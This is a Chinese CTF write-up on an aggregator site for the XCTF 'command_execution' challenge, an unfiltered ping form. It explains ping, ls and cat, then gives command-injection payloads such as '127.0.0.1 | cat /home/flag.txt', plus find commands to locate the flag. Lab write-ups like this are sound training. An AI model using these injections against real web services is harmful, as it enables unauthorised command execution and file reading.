[CTF/网络安全] 攻防世界 command_execution 解题详析

news2024/11/27 19:58:17

[CTF/网络安全] 攻防世界 command_execution 解题详析

    • ping命令
      • ping命令的应用格式
      • ping命令执行漏洞
    • ls命令
    • cat命令
    • 姿势
      • ping本地回环地址
      • ping目录
      • ping文件夹
      • ping文件
    • Tips
    • 总结

题目描述:小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。
在这里插入图片描述

ping命令

ping 命令是一个常用的网络命令,用于测试两台计算机之间网络连接的连通性。通过向目标计算机发送 ICMP 协议的数据包,并等待目标计算机返回响应数据包来测试网络的可达性,同时也可以测试网络的延迟和丢包率等信息。

在终端中使用 ping 命令的基本语法为:

ping <IP地址或主机名>

例如,要测试目标计算机的 IP 地址为 192.168.1.1 的网络连通性,可以运行以下命令:

ping 192.168.1.1

ping 命令将会输出一些关于网络连接的信息,包括每个数据包的传输时间、接收时间和延迟时间等。如果目标计算机能够正确响应 icmp 数据包,那么 ping 命令将会显示类似以下的信息:

这表示目标计算机成功返回了一个数据包,并花费了 4.56 毫秒的时间。如果无法连接到目标计算机,则 ping 命令将会显示类似以下的信息:

ping: connect: Network is unreachable

这表示无法连接到目标计算机。可以根据 ping 命令输出的信息排查网络故障,以便进行调试和修复网络连接问题。

ping命令的应用格式

  1. ping+IP地址或主机域名
  2. ping+IP地址或主机域名+命令参数
  3. ping+命令参数+IP地址或主机域名
    注意,+要换成空格

ping命令执行漏洞

如果 ping 命令不正确地处理其输入参数,就可能存在被攻击者利用来运行危险的命令的风险。
例如,如果在 ping 命令中使用了一个长度超过其预期的输入参数,则可能会导致该命令出现缓冲区溢出漏洞。

攻击者可以通过构造恶意输入参数来利用这种漏洞,并在受害者的计算机上执行任意代码,包括下载和安装恶意软件、破坏文件或系统配置、窃取敏感信息等。

该题可将输入参数截断从而让其运行危险的参数,常见的连接符有:
在这里插入图片描述
例如,ping127.0.0.1| ls /时,将显示ls /的执行结果,即列出目录

ls命令

ls 命令是一个常见的用于列出指定目录中的文件和子目录的命令,它通常用于 Unix、Linux 和 macOS 等操作系统中。该命令通常使用以下语法:

ls [OPTIONS] [FILE(S)]

其中 OPTIONS 是可选的命令参数,可以用于修改 ls 命令的行为。FILE(S) 是要列出的文件或目录的名称,也可以是通配符表达式,用于匹配符合特定模式的所有文件和目录。

以下是 ls 命令的一些常见选项:

  • -a:列出所有文件,包括隐藏文件。
  • -l:使用长格式显示文件详细信息,包括文件权限、所有者、大小、修改日期等。
  • -h:以人类可读的格式显示文件大小。
  • -t:按修改时间顺序列出文件和目录,最近修改的排在最前面。
  • -r:按相反顺序(即最早的先列出)列出文件和目录。

例如,要列出当前目录下的所有文件和目录,可以执行以下命令:

ls

要列出特定目录下的所有文件和目录,例如 /etc 目录,则可以执行以下命令:

ls /etc

您还可以使用不同的选项来修改 ls 命令的行为,例如:

ls -l /etc

该命令将以长格式列出 /etc 目录下的所有文件和子目录,并包括详细信息如权限、所有者、大小、修改日期等。


cat命令

cat 是一个常用的在 Linux 操作系统上查看文件内容的命令。cat 命令通常使用以下语法:

cat [OPTIONS] [FILE(S)]

其中,OPTIONS 是可选的命令参数,可以用于修改 cat 命令的行为。FILE(S) 是要查看内容的文件列表。

以下是一些常见的 cat 命令选项:

  • -n:显示每行行号。
  • -b:显示行号,但对于空白行不进行编号。
  • -E:在每行末尾显示 $ 符号。
  • -T:将制表符字符 (\t) 显示为 ^I
  • -s:删除重复的空行,并将连续多个空行压缩成一个空行。

例如,要查看文件 /etc/fstab 中的内容,可以执行以下命令:

cat /etc/fstab

如果您想在行号前添加行号,可以使用 -n 选项:

cat -n /etc/fstab

该命令将显示 /etc/fstab 文件的内容,并在每行行首添加行号。


姿势

ping本地回环地址

Payload:127.0.0.1

在这里插入图片描述
本地回环地址是网络通信中的特殊地址,指向本机的网络接口,因此通过发送 icmp 数据包到该地址来测试网络连通性和延迟。

在这个命令中,参数 -c 3 表示 ping 命令将会发送三个 icmp 数据包到目标主机。结果显示,三个数据包都成功发送和接收,并且没有任何数据包丢失。最后一行输出了关于这三个数据包的一些统计信息,包括平均延迟时间等。

这个结果说明本机的网络回环接口工作正常,同时也可以用来测试 ping 命令是否正常工作。

需要注意的是,这个测试结果并不能完全代表主机与其他计算机之间的网络连接状态,因为本地回环地址并不经过网络硬件设备,因此不会受到网络拥塞和其他网络故障的影响。

由于接口工作正常,因此可进行命令执行


ping目录

Payload127.0.0.1| ls /
127.0.0.1 && ls /
在这里插入图片描述

ping文件夹

Payload127.0.0.1 |ls /目录名

在这里插入图片描述

home目录下找到flag文件:

在这里插入图片描述

ping文件

Payload127.0.0.1 | cat /home/flag.txt

在这里插入图片描述

Tips

在已知某文件名的基础上,可使用find命令:127.0.0.1 | find / -name "文件名"
如图:

在这里插入图片描述

在已知部分某文件名的基础上 ,可使用find命令:127.0.0.1 && find / -name "已知文件名的部分*"
如图:

在这里插入图片描述


总结

该题考察ping命令执行漏洞及Linux部分操作系统命令。
我是秋说,我们下次见。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/551151.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

图【无向图】的创建与遍历

树&#xff1a;无回路 图&#xff1a;有回路 代码在最下面 邻接矩阵&#xff1a;重点&#xff1a;矩阵 &#xff08;一&#xff09;图的创建 存储方式 如图&#xff1a; 代码截图分析&#xff1a;顶点用一维数组存&#xff0c;边用两个点之间的值为0或1来表…

异地研发团队都使用哪些研发协同工具?盘点7类最主流的研发管理协同软件

产品研发场景下好用的协同办公软件有哪些&#xff1f;分享7类研发过程中主流的协同办公软件&#xff0c;比如项目管理协作与问题跟踪工具PingCode、代码托管与版本控制平台github、持续集成与持续部署&#xff08;CI/CD&#xff09;工具jinkens、文档协作与知识管理工具conflue…

【力扣周赛】第346场周赛

【力扣周赛】第346场周赛 6439. 删除子串后的字符串最小长度题目描述解题思路 6454. 字典序最小回文串题目描述解题思路 6441. 求一个整数的惩罚数题目描述解题思路 6439. 删除子串后的字符串最小长度 题目描述 描述&#xff1a;给你一个仅由 大写 英文字符组成的字符串 s 。…

Gradle ——Gradle安装与配置

目录 一、简介 二、功能和特点 三、安装 参考&#xff1a; Gradle_百度百科 Gradle 学习 ----Gradle 入门_你若不离不弃&#xff0c;我必生死相依的博客-CSDN博客 还有硬石科技的开源wifiAPP程序,没找到他们的码仓 一、简介 Gradle是一个基于Apache Ant和Apache Maven概念…

BPMN2.0 -条件序列流和默认序列流

序列流是流程中两个元素或者活动的连接器。在流程执行过程中访问一个元素之后,将继续执行素有的序列流,默认是并行的。传出的序列流将创建独立的并行执行路径。 顺序流需要有流程唯一的id,并引用存在的源与目标元素。 <sequenceFlow id="flow1" sourceRef=&qu…

vxe-table 对合并列的理解

行列对应关系 删除数据&#xff0c;只对一条数据进行分析 合并列代码&#xff08;_rowspan移除不影响&#xff0c;但是函数会eslint报红&#xff0c;正常运行&#xff09; 合并之后&#xff0c;从第一列开始&#xff0c;内容整体右移动&#xff0c;标题内容不对应 解决内容右移…

第三章 openEuler 文件系统

系列文章目录 第一章 openEuler 安装指南 第二章 openEuler 网络配置 第三章 openEuler 文件系统 文章目录 系列文章目录前言一、openEuler中的文件系统1.整体架构2.文件系统层次结构3. FHS定义的一级目录结构 二、常用命令1. pwd 查看当前所在的目录路径2. ls 查看当前目录下…

算法——各排序算法效率对比和总结

1. 算法效率对比 在此我们使用如下代码来测试各个算法的效率 void TestOP() {srand(time(0));const int N 100000;int* a1 (int*)malloc(sizeof(int) * N);int* a2 (int*)malloc(sizeof(int) * N);int* a3 (int*)malloc(sizeof(int) * N);int* a4 (int*)malloc(sizeof(i…

【TOP生物信息】CNS图表复现,单细胞marker基因展示的另一种方式——蜂巢图

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1359字&#xff0c;阅读大约需要4分钟。 Sten Linnarsson大神的单细胞绘图堪称极致美学&#xff0c;在这里&#xff0c;小编选择了发表在nature上展示marker基因的绘图进…

找不到msvcp140.dll无法继续执行代码,怎么解决?

MSVCP140.dll是一个Windows操作系统中的动态链接库文件&#xff0c;它是Microsoft Visual C Redistributable for Visual Studio 2015的一部分。这些库提供了一些C程序所需的基本功能&#xff0c;例如内存管理、文件操作、字符串处理等等。丢失或者损坏会导致很多软件跟游戏无法…

由浅入深Netty简易实现RPC框架

目录 1 准备工作2 服务器 handler3 客户端代码第一版4 客户端 handler 第一版5 客户端代码 第二版6 客户端 handler 第二版 1 准备工作 这些代码可以认为是现成的&#xff0c;无需从头编写练习 为了简化起见&#xff0c;在原来聊天项目的基础上新增 Rpc 请求和响应消息 Data …

由浅入深Netty代码调优

目录 1. 优化1.1 扩展序列化算法 2 参数调优2.1 CONNECT_TIMEOUT_MILLIS2.2 SO_BACKLOG2.3 ulimit -n2.4 TCP_NODELAY2.5 SO_SNDBUF & SO_RCVBUF2.6 ALLOCATOR2.7 RCVBUF_ALLOCATOR 1. 优化 1.1 扩展序列化算法 序列化&#xff0c;反序列化主要用在消息正文的转换上 序列…

Windows11部署WSL2以及迁移操作系统位置

1 缘起 笔记本电脑Windows 10内存紧张&#xff1a;16 G&#xff0c; 但是&#xff0c;开发需要一些组件&#xff0c;如Redis&#xff08;Redisearch、ReJson&#xff09;、MySQL等&#xff0c; 在Linux容器化中部署更方便&#xff0c;易用&#xff0c; 在Windows中通过虚拟机安…

安卓与串口通信-modbus篇

前言 在之前的两篇文章中&#xff0c;我们讲解了串口的基础知识和在安卓中使用串口通信的方法&#xff0c;如果还没看过之前文章的同学们&#xff0c;建议先看一遍&#xff0c;不然可能会不理解这篇文章讲的某些内容。 事实上&#xff0c;在实际应用中&#xff0c;我们很少会…

Tip in/Out变速箱齿轮敲击过程详细分析

Tip in/Out变速箱齿轮敲击过程详细分析(模型由AMEsim例子改造而成&#xff0c;数据均虚构&#xff0c;仅学习用&#xff09; 1、发动机稳态工况2、Tip in/Out工况3、总结 1、发动机稳态工况 发动机输出力矩&#xff1a; 一轴齿轮驱动力矩&#xff08;离合器减振器输出力矩&am…

为什么要做问卷调查?企业获得用户心声的捷径

问卷调查作为一种重要的数据收集方法&#xff0c;在市场营销、社会学研究、用户研究等领域得到广泛应用。通过问卷调查&#xff0c;我们可以了解受访者的态度、行为、需求等信息&#xff0c;进而为企业和组织的决策提供支持。那么&#xff0c;为什么要做问卷调查呢&#xff1f;…

大语言模型架构设计

【大模型慢学】GPT起源以及GPT系列采用Decoder-only架构的原因探讨 - 知乎本文回顾GPT系列模型的起源论文并补充相关内容&#xff0c;中间主要篇幅分析讨论为何GPT系列从始至终选择采用Decoder-only架构。 本文首发于微信公众号&#xff0c;欢迎关注&#xff1a;AI推公式最近Ch…

一些云原生开源安全工具介绍

本博客地址&#xff1a;https://security.blog.csdn.net/article/details/130789465 一、Kubernetes安全监测工具kube-bench kube-bench是一个用Golang开发的、由Aqua Security发布的自动化Kubernetes基准测试工具&#xff0c;它运行CIS Kubernetes基准中的测试项目。这些测试…

在 uniapp 中通过 Intent 的方式启动其他APP并且传参

文章目录 前言一、其他软件调用文档中的安卓原生代码二、在uniAPP中实现上述方式三、总结四、感谢 前言 由于业务需求需要&#xff0c;我方研发的安卓APP需要调用其他安卓APP&#xff0c;并且将保存返回的文件存储路径进行读取后操作。对方软件公司提供了对接文档和一个测试调…

docker安装华为gaussdb数据库

docker安装gaussdb docker镜像&#xff1a; http://docker.hub.com/ 这里我们使用docker hub镜像下载&#xff0c;该镜像下载较慢&#xff0c;可能有时访问不同&#xff0c;可以使用阿里云镜像下载&#xff0c;阿里云镜像配置参考《docker国内阿里云镜像加速》 拉取镜像 下载…